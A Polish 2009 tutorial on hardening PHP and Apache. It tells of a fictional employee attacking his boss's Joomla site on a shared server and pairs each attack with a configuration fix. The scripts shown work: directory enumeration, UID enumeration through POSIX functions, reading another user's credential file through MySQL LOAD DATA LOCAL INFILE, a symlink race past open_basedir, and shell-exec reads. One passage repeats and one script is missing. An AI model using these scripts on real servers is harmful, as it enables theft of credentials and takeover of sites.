(Nie) bezpieczeństwo konfiguracji PHP

Wstęp

Artykuł ten będzie dotyczył wybranych przeze mnie zagadnień z zakresu bezpieczeństwa związanego z używaniem PHP na serwerach. Treści tutaj zawarte mają charaktery wyłącznie edukacyjny, autor nie ponosi odpowiedzialności za nieodpowiednie wykorzystanie wiedzy z tego artykułu.

o Apache

Apache to serwer HTTP dostępny pod wieloma platformami. Jest jednym z najpopularniejszych softów serwerowych dostępnych na rynku, często łączony z PHP(mod_php) staje się polem do popisu dla wielu administratorów. Warto podkreślić, że Apache jest z nami już ponad 15 lat i jest projektem open source. Chroot (ang. Change root), jest poleceniem uniksowym, które uruchamia program w wydzielonym środowisku, ze zmienionym katalogiem głównym. Bezpieczniejszą alternatywą chroot jest polecenie jail, działające na platformach FreeBSD. Uruchomienie Apacha w środowisku chroot znacznie poprawia bezpieczeństwo naszego systemu operacyjnego. Zakładając najgorsze, że włamywacz przejmuję kontrolę nad Apache, może manewrować tylko w wydzielonym fragmencie dysku. Dostęp do pozostałych plików systemowych (poza wydzielonym środowiskiem) staje się bardzo utrudniony, agresor musiałby posiadać uprawnienia super użytkownika. W nowym środowisku nie musimy instalować powłoki, co dodatkowo utrudni działania atakującego. Instalacja Apache w nowym katalogu głównym ogranicza się do kilku prostych kroków:

  • Stworzenie nowego użytkownika
  • Stworzenie nowej struktury katalogów potrzebnej dla nowego Apache
  • Przekopiować wszystkie biblioteki i pliki, z których korzysta serwer, w zamknięciu w wydzielonym środowisku nie będzie miał dostępu do katalogów wyżej niż swój katalog główny (kopiując pliku musimy pamiętać o usunięciu z niektórych informacji o pozostałych użytkownikach np. z /etc/passwd).
  • Uruchomić serwer w nowym wydzielonym środowisku

Sam mechanizm zamknięcia Apache w nowym katalogu głównym nie daję nam gwarancji bezpieczeństwa, ale jest jednym z podstawowych kroków do jego uzyskania.

Kolejnym ważnym elementem w bezpieczeństwie naszego serwera jest dobór modułu MPM(ang. Multi Processing Modules), moduły te odpowiadają w jaki sposób nasz serwer będzie zarządzał zapytaniami. Przekładając bezpieczeństwo nad wydajnością powinniśmy wybrać moduł prefork. Moduł ten był dostępny już w pierwszej wersji Apache, działa on w taki sposób, że do obsługi zapytań do serwera używa oddzielnych procesów, co znacznie zwiększa zużycie pamięci RAM, ale zapewnia większą stabliność. Prefork jest modułem jednowątkowym, co oznacza, że doskonale nadaje się na komputery z jednym procesorem (przy obecności dwóch lub większej liczbie procesorow, moduł ten będzie obciążał znacząca jeden procesor, nie wykorzystując w pełni możliwości pozostałych). Ogromną zaletą jest natomiast fakt, że jeden niestabilny proces nie powoduję uszkodzeń w działaniu systemu (całkowicie odwrotnie niż w module worker).
Jeśli bardziej niż na bezpieczeństwie zależy ci na wydajności powinieneś zainteresować się modułem worker, który działa zupełnie inaczej niż wyżej opisany moduł prefork.
Moduł worker zapewnia większą wydajność systemu, efektywniej wykorzysta parametry komputera, na którym pracuję, ale jest mniej stabilny i bezpieczny. Jeden niestabilny proces może uszkodzić pracę całego serwera.

Tak więc podsumowując powinniśmy się zdecydować na moduł prefork, ze względu na zapewnienie większego bezpieczeństwa. Apache dysponuję jeszcze innymi MPM, które są szczegółowo opisane w dokumentacji serwera.

Domyślna konfiguracja Apache nie jest wystarczająco bezpieczna jeśli chcemy dołączać kody skryptu z plików *.inc. Standardowo w konfiguracji serwera nie ma żadnej dyrektywy, która zabroniłaby czytać tych plików. Często w nich znajdują się bardzo istotne informację: algorytm czy nawet hasła dlatego powinniśmy zwrócić szczególną uwagę na te pliki. Chcąc uchronić się przed niepowołanym dostępem do tych plików, musimy otworzyć plik konfiguracyjny naszego Apache i dodac do niego kilka linijek kodu:

Order allow,deny
Satisfy All

Teraz wystarczy tylko ponownie wystartować naszego deamona. Tagi files informują, że mamy na myśli pliki z rozszerzeniem inc. Dyrektywa Satisfy mówi, że ta konfiguracja ma dotyczyć wszystkich. Pliki .httaccess są domyślnie zabronione do czytania z poziomu przeglądarki, w prosty sposób możemy w nich zbanować dane IP, zabronić otwierania jakiegoś pliku lub katalogu, możemy zrobić bardzo wiele z każdym żadaniem HTTP. Czasami może nam to zaoszczędzić wiele zachodu w pisaniu kodu np. Jakiegoś systemu logowania, systemu banowania i wiele innych.

Safe_mode

Safe_mode (ang. Tryb bezpieczny) gdy opcja ta jest włączona, PHP sprawdza czy właścicielem skryptu wykonywanego jest właściciel pliku, na których chce operować funkcja lub czy jest to katalog tego samego użytkownika. Wszystkie sprawy konfiguracyjne dotyczące safe_mode ustawiamy w pliku konfiguracyjnym PHP (php.ini). Omówię teraz dyrektywy dostępne dla trybu bezpiecznego.

  • safe_mode – przyjmuję wartości boolean (On/Off). Jeśli tą dyrektywę ustawimy na On, tryb będzie weryfikował właścicieli po UID.
  • safe_mode_gid – przyjmuję wartości jak powyższa dyrektywa, ustawienie wartości On, skutkuję mniej restrykcyjną weryfikację właścicieli, po GID. Wartość Off, mówi trybowi o weryfikacji po UID.
  • safe_mode_include_dir – Jako parametr przyjmuję przedrostki katalogów, do których nie będą weryfikowanie właściciele po UID/GID. Przykład: wartość /home/use będzie dotyczyła wszystkich katalogów w home, których nazwa rozpoczyna się od use, czyli będą to /home/user jak i /home/users. Jeśli mamy na myśli konkretny katalog, jego nazwę musimy zakończyć „/”.
  • safe_mode_exec_dir – Jako parametr przyjmuję nazwy katalogów, w których znajdują się programy, które będzie można uruchomić poprzez funkcje wykonywalne (system, exec, etc).
  • safe_mode_allowed_env_vars – Jeśli zostawimy tą dyrektywę pustą, użytkownik będzie mógł zmieniać wszystkie zmienne środowiskowe. Użytkownik, może zmieniać wartości zmiennych środowiskowych, tylko tych, których przedrostki są ustawione w tej dyrektywie.
  • safe_mode_protected_env_vars – Ta dyretywa zawiera listę zmiennych środowiskowych oddzielonych przecinkami, których użytkownik końcowy nie może zmienić za pomocą putenv. Te zmienne są zawsze chronione nawet jeśli safe_mode_allowed_env_vars pozwala na ich zmianę.

Poniżej przedstawię wszystkie funkcję, które są ograniczane przez tryb bezpieczny:

  • dbmopen()
  • dbase_open()
  • filepro()
  • filepro_rowcount()
  • filepro_retrieve()
  • pg_lo_import()
  • posix_mkfifo()
  • putenv()
  • move_uploaded_file()
  • chdir()
  • dl()
  • shell_exec()
  • exec()
  • system()
  • passthru()
  • popen()
  • fopen()
  • mkdir()
  • rmdir()
  • rename()
  • unlink()
  • copy()
  • chgrp()
  • chown()
  • chmod()
  • touch()
  • symlink()
  • link()
  • apache_request_headers()
  • header()
  • PHP_AUTH_variables
  • highlight_file()
  • show_source()
  • parse_ini_file()
  • set_time_limit()
  • max_execution_time
  • mail()
  • session_start()

Wszystkie funkcje z prefixami:

  • ifx_
  • ingres_
  • mysql_

Jak widzimy, trochę tego jest, jednak twórcy PHP postanowili zrezygować z safe_mode w najnowszej wersji PHP. Warto wspomnieć, że restrykcje safe_mode nie obejmują wykonywalnych plików.

Open_basedir

Jest to kolejna dyrektywa z PHP. Przyjmuje wartość typu string, parametrem muszą być prefiksy katalogów. Open_basedir, będzie strzegło by użytkownik PHP mógł mieć dostęp wyłącznie do katalogu(ów) zdefiniowanego w tej dyrektywie. Podobnie jak safe_mode, konfigurujemy ją w pliku php.ini.
Przykład:

open_basedir = /tmp/:/usr/share/pear/:/usr/share/phpmyadmin

Dwukropek oznacza separację pomiędzy kolejnym katalogiem, który chcemy zdefiniować. Dzięki takiemu parametrowi, pozwolimy użytkownikowi na dostęp do katalogów:

/tmp
/usr/share/pear
/usr/share/phpmyadmin

Podsumowanie safe_mode i open_basedir

Konfiguracja safe_mode i open_basedir powinna się zakończyć ponownym wystartowaniem deamona HTTP.
Odpowiednio skonfigurowane powyższe dyrektywy, mogą podnieść bezpieczeństwo serwera, jednak nie powinniśmy polegać wyłącznie na nich, w dalszej części opiszę inne funkcjonalności PHP i Apacha, które pomogą uronić nasz serwer przed przejęciem.

Scenariusz

Na potrzeby artykuły wymyśliłem mały scenariusz, żeby można było lepiej zrozumieć cele i przykłady ataków i zabezpieczeń.
Jako przykład, posłużą nam dwie fikcyjne postacie: Szef pewnej firmy Jan, oraz jego nowy pracownik Zygmunt.
Firma Jana zajmuje się sprzedażą palenisk pod kominki. Jan w przeszłości skończył studia informatyczne więc miał jako takie obycie z komputerami, miał też na tyle umiejętności by stworzyć stronę internetową firmy. Jan jest człowiekiem bardzo zabieganym i nie ma zbytnio czasu, więc strona firmowa jest oparta o darmowy CMS Joomla i bazę danych MySQL.
Strona jest umieszczona na jednym z firmowych serwerów w firmie.
Zygmunt pracuję u Jana od pół roku. Tydzień temu, Zygmunt, poprosił szefa o konto na firmowym serwerze. Jan się zgodził, od tej pory konto Zygmunta figuruję pod pseudonimem ”zigi”.
Jan jest bardzo złym szefem, Zygmunt nie dostaje wypłaty już od dwóch miesięcy, szef ciągle obiecuje, że wynagrodzenie ureguluje w następnym miesiącu. Zdesperowany Zygmunt postanawia udowodnić szefowi, że nie ma z nim żartów, a wypłatę powinien otrzymać jak najszybciej. Zdesperowany pracownik wpada na pomysł przejęcia kontroli nad stroną internetową firmy. Zygmunt włącza komputer i …
Dalsza część bajeczki będzie rozwijana w poszczególnych rozdziałach artykułu.

Rozeznanie w środowisku

… robi rozeznanie w środowisku serwerowym. Zigi przed rozpoczęciem działania chce zorientować się z czym ma do czynienia. Być może na serwerze znajdują się stare dziurawe softy, lub niewłaściwa konfiguracja pozwala na wykorzystanie jakiejś luki.
Zigi może dowiedzieć się wielu ciekawych rzeczy o serwerze. Bardzo interesująca będzie dla nas wersja PHP. Twórcy PHP ukryli Easter Egg, które m.in zdradza wersje PHP. Użycie tego nie będzie trudne, wystarczy zlokalizować dowolny skrypt na serwerze i dokleić do niego taki ciąg znaków :

?=PHPE9568F36-D428-11d2-A769-00AA001ACF42

Być może mamy szczęście i naszym oczom ukaże się jeden z kilku obrazków. Poniżej przedstawiam tabelkę, która rozwieje wątpliwości co do wersji PHP i obrazków easter egg.

  • Niebieski słoń – 5.3.0
  • Rozmazane logo PHP – 5.1.3 – 5.2.13
  • Królik – 5.0.0 – 5.0.3
  • Czarny pies – 4.3.11 – 4.4.6 oraz 5.0.4 – 5.1.2
  • Brązowy pies – 4.3.0 – 4.3.10
  • Twarz z frytkami – 4.0.0 – 4.2.3

Niespodzianek easter egg jest więcej, oto kody :

?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 – oryginalne logo PHP
?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 – logo zend
?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 – development credit

Janek nie okazał się cwanym administratorem i zigi zna już wersję PHP – 5.3.
To nie był jedyny sposób na poznanie odpowiedzi na pytanie, które zadał sobie zigi. Istnieje mnóstwo innych sposobów na poznanie wersji PHP, m.in.

  • analiza nagłówków HTTP (X-Powered-By)
  • przeczytanie stopki w różnych błędach np. 404
  • wywołać funkcję phpinfo
  • testowanie na kodzie, pisać skrypty charakterystyczne dla konkretnej wersji PHP i analizować czy działają poprawnie

1:0 dla Zygmunta. Przeanalizujmy co mógł zrobić Janek, by utrudnić robotę zigiemu.
Administrator mógł zainteresować się dyrektywą expose_php w php.ini. Dyrektywa ta służy do względnego ukrywania wersji o PHP. Przyjmuję jeden argument typu boolean (On/Off).
Gdyby Janek ustawił wartość Off, na pewno zigi miałby nieco pod górkę. Tzw. Easter egg nie zadziałałyby, również sposób analizy nagłówka HTTP byłby spalony.
Jeśli administratorowi, naprawdę zależało by na dyskrecji co do wersji PHP, mógłby też ustawić odpowiednio dwie dyrektywy w pliku konfiguracyjnym Apache.

ServerTokens Prod
ServerSignature Off

Dyrektywa ServerTokens informuję serwer na ile ma sobię pozwolić w kwestii wyjawniania wersji serwera i systemu. Parametr Prod, jest tutaj najbardziej restrykcyjny, pozwoli jedynie na wyświetlenie nazwy serwera, bez wersji. W naszym przypadku samo „Apache”. Oto opis innych wartości dla tej dyrektywy :
Major – wyświetli wersję nazwę i wersje serwera np. Apache/2
Minor – trochę bardziej szczegółowa niż Major, wyświetli: Apache/2.0
Min/Minimal – wyświetli całą wersję serwera Apache/2.0.41
OS – Oprócz wersji, serwer wyświetli nam również informację o systemie np. Apache/2.0.41 (Unix)
Full (lub pozostawiona pusta) – wyświetli informacje tzw „full wypas 😀 ”. Np. Apache/2.0.41 (Unix) PHP/4.2.2 MyMod/1.2

Dyrektywa ServerSignature przyjmuję wartość typu boolean (On/Off), informuję ona serwer, czy wklejać stopkę z informacją o wersji serwera i systemie. Kilka metod zigiego by w tym momencie zawiodło, gdyby Janek zastosował w/w metody. Zygmunt z pewnością napisałby skrypt, który drukowałby wiele informacji o konfiguracji PHP na tym serwerze, mógłby wyglądać on np. Tak:

<?
echo phpinfo();
?>

Byłoby to dobre rozwiązanie, zigi dowiedziałby się bardzo wielu rzeczy. Tu z pomocą dla Janka przyszłaby dyrektywa disable_functions. Służy ona do blokowania wybranych funkcji. Dyrektywe tą ustawiamy w pliku konfiguracyjnym PHP (php.ini), jako wartość, przyjmuję ona właśnie nazwy funkcji (jeśli jest ich wiele, oddzielamy przecinkami).
Gdyby w php.ini widniał wpis
disable_functions = phpinfo
Skrypt zigiego okazałby się klapą, PHP nie pozwoliłoby użyć tej funkcji.

Wyjawnienie wersji PHP/Apache nie jest śmiertelnym grzechem. Moglibyśmy poświęcić odpowiednio sporo czasu, testując serwer i PHP i też uzyskalibyśmy informację, które nas interesują.
Jak wiemy, Zygmuntowi zależy na przejęciu kontroli nad firmową stroną internetową. Zigi poświęcił wiele czasu na przeglądanie owej strony, poznał po stopce skrypt na jakim jest oparta. Zigi nie czekając ani chwili dłużej pobrał tą samą wersję skryptu i zainstalował na swoim koncie. Wkrótce zorientował się, wnikliwie analizując budowę CMS, że w pliku configuration.php jest zapisane jawnie hasło i login do bazy danych. Od tej pory celem ataku Zygmunta będzie właśnie ten plik.
Zigi nadal przeprowadza rozeznanie w środowisku serwerowym, chce poznać strukturę katalogów i uprawnienia do nich. W tym celu Zygmunt mógłby uploadować jakiegoś gotowego php shella, jednak zigi jest bardziej kreatywny i wykombinował taki skrypt:

<?
error_reporting(E_ALL);
ini_set('log_errors', '0');
ini_set('display_errors', '1');
$dir = $_GET['d'];
$x = glob($dir.'/*');
echo "</pre>
<pre>";

if($x) {
foreach ($x as $e){
 $sinfo = lstat($e);
 $perms = fileperms($e);
 if (($perms &amp; 0xC000) == 0xC000)$info = 's ';
 if (($perms &amp; 0xA000) == 0xA000)$info = 'l ';
 if (($perms &amp; 0x8000) == 0x8000)$info = '- ';
 if (($perms &amp; 0x6000) == 0x6000)$info = 'b ';
 if (($perms &amp; 0x4000) == 0x4000)$info = 'd ';
 if (($perms &amp; 0x2000) == 0x2000)$info = 'c ';
 if (($perms &amp; 0x1000) == 0x1000)$info = 'p ';
 $info .= (($perms &amp; 0x0100) ? 'r' : '-');
 $info .= (($perms &amp; 0x0080) ? 'w' : '-');
 $info .= (($perms &amp; 0x0040) ?
 (($perms &amp; 0x0800) ? 's' : 'x' ) :
 (($perms &amp; 0x0800) ? 'S' : '-'));
 $info .= (($perms &amp; 0x0020) ? 'r' : '-');
 $info .= (($perms &amp; 0x0010) ? 'w' : '-');
 $info .= (($perms &amp; 0x0008) ?
 (($perms &amp; 0x0400) ? 's' : 'x' ) :
 (($perms &amp; 0x0400) ? 'S' : '-'));
 $info .= (($perms &amp; 0x0004) ? 'r' : '-');
 $info .= (($perms &amp; 0x0002) ? 'w' : '-');
 $info .= (($perms &amp; 0x0001) ?
 (($perms &amp; 0x0200) ? 't' : 'x' ) :
 (($perms &amp; 0x0200) ? 'T' : '-'));
 if(is_Dir($e))
 echo $info.' GID:'.$sinfo['gid'].' UID:'.$sinfo['uid']." <a href="?d=$e">$e</a>
";
 else
 echo $info.' GID:'.$sinfo['gid'].' UID:'.$sinfo['uid']."$e
";
}
}else echo "access denied";
?>

<?
 $server = array(
 'uname'=&gt;php_uname(),
 'loaded modules'=&gt;implode(', ', get_loaded_extensions()),
 'user'=&gt;get_current_user(),
 'uid'=&gt;getmyuid(),
 'open basedir'=&gt;ini_get('open_basedir'),
 'safe_mode'=&gt;ini_get('safe_mode'),
 'allow remote url'=&gt;ini_get('allow_url_fopen'),
 'disable functions'=&gt;ini_get('disable_functions')
 //i co jeszcze dusza zapragnie
 );
 print_r($server);
?>

Zygmunt używając tego kodu, może swobodnie (na ile pozwala mu konfiguracja serwera) poruszać się po katalogach, sprawdzać ich zawartość i uprawnienia.
Atakujący już posiadł wstępną wiedzę na temat konfiguracji, teraz może przejść do kolejnego kroku – ataku.
W tej części artykułu opiszę przykładowe, wybrane przeze mnie ataki wcielając się w osobę Zygmunta. Nasz haker, jak już wcześniej pisałem na konto na tym samym serwerze co Janek. Zygmunt zobaczył w swoim katalogu domowym katalog „public_html”. Chwile pomyślał, wywołał w przeglądarce adres : stronka.pl/~zigi/, a jego oczom ukazał się index, który wcześniej przygotował. Zigi już wiedział, że na serwerze działa moduł Apache userdir. Dyrektywy allow_url_include i allow_url_fopen są wyłączone, więc haker ma troszeczkę utrudnione zadanie, nie może się odwoływać do pliku konfiguracyjnego podając lokalizację HTTP, musi poznać ścieżkę systemową. Tylko jaki administrator może mieć login? Który jest przecież niezbędny do określenia lokalizacji.

Zygmunt na kolanie napisał jednolinijkowy skrypt, w którym funkcja include(), miała wczytać plik w którym trzymane są informacje o użytkownikach w systemach linux (/etc/passwd). Po wczytaniu pliku, zigi odgadłby login administratora. Oto skrypt Zygmunta:

Atak i obrona

W tej części artykułu opiszę przykładowe, wybrane przeze mnie ataki wcielając się w osobę Zygmunta. Nasz haker, jak już wcześniej pisałem na konto na tym samym serwerze co Janek. Zygmunt zobaczył w swoim katalogu domowym katalog „public_html”. Chwile pomyślał, wywołał w przeglądarce adres : stronka.pl/~zigi/, a jego oczom ukazał się index, który wcześniej przygotował. Zigi już wiedział, że na serwerze działa moduł Apache userdir. Dyrektywy allow_url_include i allow_url_fopen są wyłączone, więc haker ma troszeczkę utrudnione zadanie, nie może się odwoływać do pliku konfiguracyjnego podając lokalizację HTTP, musi poznać ścieżkę systemową. Tylko jaki administrator może mieć login? Który jest przecież niezbędny do określenia lokalizacji.

Zygmunt na kolanie napisał jednolinijkowy skrypt, w którym funkcja include(), miała wczytać plik w którym trzymane są informacje o użytkownikach w systemach linux (/etc/passwd). Po wczytaniu pliku, zigi odgadłby login administratora.

Niestety zamiast loginów ujrzał komunikaty od trybu bezpiecznego, ograniczało go również open_basedir. Nasz haker powinien wpaść na inny pomysł, tutaj z pomocą przychodzą nam funkcję PHP z rodziny POSIX, a konkretnej posix_getpwuid.

posix_getpwuid, jako wartość zwraca podstawowe informację o użytkowniku na podstawię UID”u, który przyjmuję jako parametr. UID Janka jest dla nas tajemnicą, wiemy natomiast, że jest to liczba dodatnia i całkowita. Zygmunt przygotował skrypt, który sprawdzi po kolei numery UID za nas, jeśli mamy szczęście to trafimy na właściwy ;- )

<?php
for($i=0;$i&lt;65000;$i++){
 if($x = posix_getpwuid($i)){
 print_r($x);
 echo "</pre>";
 }
}
?>

Wywołując skrypt na ekranie pojawiły nam się informację o użytkownikach, którzy mają UID z przedziału z pętli, zigi szybko zorientował się, że administrator ma nick janek. Dodatkowo dowiedzieliśmy się jaki Janek ma GID, nazwę katalogu domowego oraz powłokę.

Oto takim sposobem Zygmunt poznał ścieżkę systemową do pliku konfiguracyjnego strony, /home/janek/public_html/configuration.php.

Jak janek mógł się zabezpieczyć przed powyższym skryptem?

Administrator mógł to zrobić na dwa sposoby, pierwszy z nich to odpowiednie skompilowanie PHP, bez funkcji POSIX”owych (–disable-posix. ).
Drugim sposobem było dopisanie funkcji do dyrektywy disable_functions w pliku konfiguracyjnym PHP.

Krótki opis kilku ciekawszych funkcji POSIX”owych :

  • posix _ getgrgid – zwraca informacje na temat grupy po ID
  • posix _ getgrnam – zwraca informacje na temat grupy po nazwie
  • posix _ getlogin – zwraca nazwę użytkownika
  • posix _ getpid – zwraca PID
  • posix _ getpwnam – zwraca informacje o użytkowniku po nazwie
  • posix _ getpwuid – zwraca informacje o użytkowniku po ID
  • posix _ kill – wysyła sygnał do proces
  • posix _ uname – zwraca podstawowe informacje o systemie

Cel został zlokalizowany, czas na odczytanie pliku. W PHP istnieje do tego wiele funkcji readfile, require_once, include oraz wiele innych. Zigi, bogatszy w doświadczenie po ostatnim skrypcie jest pewien, że odczytanie pliku konfiguracyjnego poprzez wcześniej wspomniane funkcje skończy się masą błędów na ekranie, musi więc spróbować przechytrzyć swojego przeciwnika.

Zygmunt spróbuję posłużyć się bazą danych do wczytania pliku konfiguracyjnego. Atak, który za chwilę przeprowadzi zigi, będzie opierał się o polecenie LOAD DATA LOCAL INFILE w bazie MySQL.
Jest to polecenie, które pozwala wczytać treść pliku do bazy danych. Zapytanie, które wczytałoby dany plik do tabeli opiera się o następującą składnie:

LOAD DATA LOCAL INFILE 'nazwapliku' INTO TABLE `nazwatabeli`;

Dla naszego hakera jest to okazja, by wczytać plik konfiguracyjny Joomli do swojej bazy danych. Zygmunt tworzy więc tabele w swojej bazie danych z jednym polem „content” typu varchar(255), w której będą przechowywane kolejne wiersze pliku. Kolejnym krokiem zigiego, będzie napisanie następującego skryptu:

<?
$f = $_GET['f'];
if(!mysql_connect('localhost','zigi','zigi123')) echo "nie polaczono";
if(!mysql_select_db('mijagi')) echo "nie wybrano";
mysql_query("LOAD DATA LOCAL INFILE '$f' INTO TABLE `file`;");
$r = mysql_query("SELECT * FROM `file`;");
while($x = mysql_fetch_assoc($r))
 echo $x['content'].'';
mysql_query("TRUNCATE TABLE `file`");
mysql_close();
?>

Działanie skryptu jest proste, połączy się z baza danych, wczyta parametr z zmiennej GET do bazy danych. Wyświetli całą treść tabeli, następnie ją wyczyści i zakończy swoje działanie.
Zygmunt aż się cały spocił, na ekranie ukazała się treść pliku konfiguracyjnego. Teraz wystarczy tylko odszukać odpowiednią linijkę z loginem i hasłem.
Zigi ma teraz dostęp do bazy danych strony, może usunąć ją, zapisać u siebie na dysku czy dodać newsa. Jednak to dla niego nie koniec zabawy, haker jest nadal żądny zemsty, pragnie wyrządzić większe szkody.

Jak Janek mógł się zabezpieczyć? W prosty sposób, wystarczyłoby wyłączyć dyrektywęmysqli.allow_local_infile, w pliku konfiguracyjnym PHP. Gdyby wcześniej wspomniana dyrektywa była ustawiona na Off, Zygmunt obszedłby się tylko błędem na ekranie.

Podsumowując jest to bardzo poważne niedopatrzenie ze strony administratora, którego tak łatwo można było uniknąć. Często tą metodę wykorzystuje się w lukach typu SQL INJECTION. Jednak gdyby powyższy kod z wczytaniem pliku do bazy zawiódł Zygmunta, miał on przygotowany jeszcze jeden sposób na próbę odczytu danych konfiguracyjnych. Sposób ten dotyczyłby użycia funkcji symlink, która tworzy dowiązania do katalogów. Najłatwiej będzie wytłumaczyć ten atak na przykładzie skryptów. Oto pierwszy z nich:

<?
symlink("q/w/e/r/t/y", "alfa");
symlink("alfa/../../../../../../", "omega");
while (1) {
 unlink("alfa");
 symlink(".", "alfa");
}
?>

Pierwsze dwie linijki tworzą dowiązania symboliczne, pierwsze z nich jest do wcześniej przygotowanej struktury katalogów q/w/e/r/t/y. Drugie dowiązanie jest do sześciu katalogów wstecz od ostatniego w naszej wcześniejszej strukturze.
Resztę odgrywa pętla, która usuwa dowiązanie do zagnieżdżonej struktury katalogów, następnie tworzy dowiązanie o tej samej nazwie do katalogu głównego. Pętla wykonuje się przez czas określony w pliku konfiguracyjnym PHP w dyrektywie max_execution_time.

Oto drugi skrypt, potrzebny do przeprowadzenia ataku:

<?
header("Content-type: text/plain");
ini_set("display_errors", 1);
ini_set('track_errors', '1');
$file = "alfa/home/gostek/public_html/Joomla/configuration.php";
while (!highlight_file($file))
 if(highlight_file($file))
 highlight_file($file);
?>

Skrypt próbuje uzyskać dostęp do pliku określonego w zmiennej $plik, który jest naszym plikiem konfiguracyjnym strony internetowej.
Teraz rozpoczyna się prawdziwy wyścig, Zygmunt uruchamiając oba skryptu musiałby wyczekiwać momentu, gdy dowiązanie będzie wskazywało na katalog, do którego mamy dostęp, PHP nas puści i nie będzie w tym nic dziwnego, jednak w momencie otwierania, nasze dowiązanie już będzie odnosiło się do katalogu głównego. W takiej sytuacji Zygmunt zobaczyłby zawartość pliku w przeglądarce. Trzeba pamiętać, że w tym przypadki także jesteśmy ograniczeni dyrektywą max_execution_time.

Jak Janek mógłby się przed tym zabezpieczyć?
Są co najmniej dwa sposoby. Pierwszy z nich to posiadanie wersji PHP z dodatkiem Suhosin-Path, który elimunuję te zagrożenie.
Drugi sposób to dodanie funkcji symlink do dyrektywy disable_functions w pliku konfiguracyjnym PHP.

System functions
Dostęp do bazy danych to za mało dla zdesperowanego pracownika. Haker pragnie usunąć wszystkie pliki, na których opiera się strona. Z pewnością przydałby się w tym momencie dostęp do powłoki, gdzie użyłby polecenia rm. Jednak to nie jest wykluczone, można przedłużyć swoje palce poprzez odpowiednie funkcje w PHP. Plan zigiego mógłby się ziścić.
Funkcji, z których Zygmunt mógłby skorzystać jest kilka, działają one bardzo podobnie.
Haker napisał skrypt, który próbuje odczytać plik konfiguracyjny strony, nic nie stoi na przeszkodzie by użyć tam upragnionego polecenia rm. Zawartość pliku systemfunctions.php jest następująca:

<?
$file = "/home/gostek/public_html/Joomla/configuration.php";
error_reporting(E_ALL);
ini_set('log_errors', '0');
ini_set('display_errors', '1');
 
exec("cat $file",$x);
$y = join($x);
echo $y;
passthru("cat $file");
$des = array(
0 =&gt; array("pipe", "r"),
1 =&gt; array("pipe", "w"),
2 =&gt; array("pipe", "w"));
$x = proc_open("cat $file", $des, $pipes);
while (($y = fgets($pipes[1], 4096)))
 echo $y.'
';
proc_close($x);
echo shell_exec("cat $file");
echo system("cat $file");
exec("cat $file",$x);
$y = join($x);
echo $y;
?>

Zygmuntowi niestety nie udało się użyć funkcji rodziny exec do swoich planów.

Jak Janek mógł się przed tym zabezpieczyć?
Jeśli administrator zaufałby safe_mode, mógłby próbować ustawić odpowiednio restrykcyjną wartość w dyrektywie safe _ mode _ exec _ dir, która została opisana kilka rozdziałów wcześniej.
Drugim sposób jest bardziej popularny, polega on na dodaniu zagrażających funkcji do dyrektywy disable_functions w pliku konfiguracyjnym PHP.

Funkcje z rodziny exec oprócz niebezpieczeństwa niosą też wiele pożytku programistom, poprzez nie, mogą oni znacznie uprościć swój kod, lub skorzystać z innych gotowych rozwiązań systemowych.

Register_globals

Register_globals jest według mnie najgłupszym „udogodnieniem” wprowadzonym w PHP. Jak widać twórcy też się o tym przekonali, co skutkowało wyłączeniem i w końcu usunięciem tej funkcjonalności.
Dyrektywa włączająca register_globals znajduje się w pliku konfiguracyjnym PHP. Włączenie tej opcji pozwala na odwoływanie się do zmiennych globalnych jak do każdej inne zmiennej. Na przykład do zmiennej $_SESSION[”zalogowany”], możemy odwołać w ten sposób: $zalogowany. Miało to przynieść korzyści, ułatwić programowanie, skrócić kod i poprawić jego czytelność. Zamiast tego register_globals, przynosi wiele chaosu, łatwo zgubić się kiedy operujemy na zmiennej globalnej a kiedy nie, w kodzie mogą wyglądać tak samo. Opisywana przeze mnie funkcjonalność krytycznie obniża poziom bezpieczeństwa skryptów.
Często bywa, że musimy zabezpieczać skrypty by użytkownicy nie mogli ich wywołać z przeglądarki, chcemy żeby były dostępne tylko dla innych fragmentów kodu. Najprostszym sposobem jest ustawienie dodatkowej zmiennej, w ten sposób:

<?
if($included == 1)
{
//tresc pliku
}
?>

Jeśli chcemy dołączyć powyższy kod do innego fragmentu kodu, ustawiamy w nim zmienną $included na wartość 1. Wtedy nasz skrypt inkludowany posiada odpowiednią zmienną o odpowiedniej wartości i wykonuje się część kodu, zupełnie tak jak to zaplanowaliśmy.
Gdy register_globals jest włączone, sytuacja nie wygląda już tak prosto. Skoro możemy odwoływać się do zmiennych globalnych tak jak do zmiennych, które nie są globalne co stoi na przeszkodzie nadpisania zmiennej poprzez GET? Nic. Jedynym problemem w tym przypadku byłoby odgadnięcie nazwy zmiennej i wartości jaką musi posiadać do dalszego wykonania kodu.
Taki sposób ataku może być wykorzystywany w wielu sytuacjach, skryptów logowania, operujących na danych etc.
Jeśli Janek chciałby zabezpieczyć się przed tego typu atakami, musiałby ustawić wartość dyrektywy register_globals na Off, gdyby tego nie zrobił Zygmunt mógłby przeanalizować kod, który jest darmowy i znaleźć potencjalny na atak fragment kodu.

Podsumowanie

Każdy krok w kierunku zabezpieczenia naszego serwera jest dobrym krokiem, każde utrudnienie zniechęca lub powstrzymuje atakującego. Oprócz bezpieczeństwa na serwerze, powinniśmy też przestrzegać zasad bezpiecznego tworzenia aplikacji. Jeśli atakujący nie może zrealizować swojego planu od wnętrza (serwera), próbuję od zewnętrznej strony, czyli szuka potencjalnych luk w skryptach. Wcześniej wspomniane luki mogą być równie groźne jak niezabezpieczony serwer. Powinniśmy wnioskować, że udogodnienia jak register_globals, safe_mode są tylko pozornie tak dobre. Często zbytnie zaufanie takim funkcjonalnościom może się skończyć przejęciem serwera. Podsumowując warto wspomnieć, że powinniśmy polegać na własnych restrykcjach, a jeśli już korzystamy z gotowców, powinniśmy je wcześniej dokładnie sprawdzić. Dzięki za uwagę.

//notka:
Artykuł był pisany przeze mnie w 2009, od tego czasu niektóre z opisanych zagadnień mogły ulec zmianie.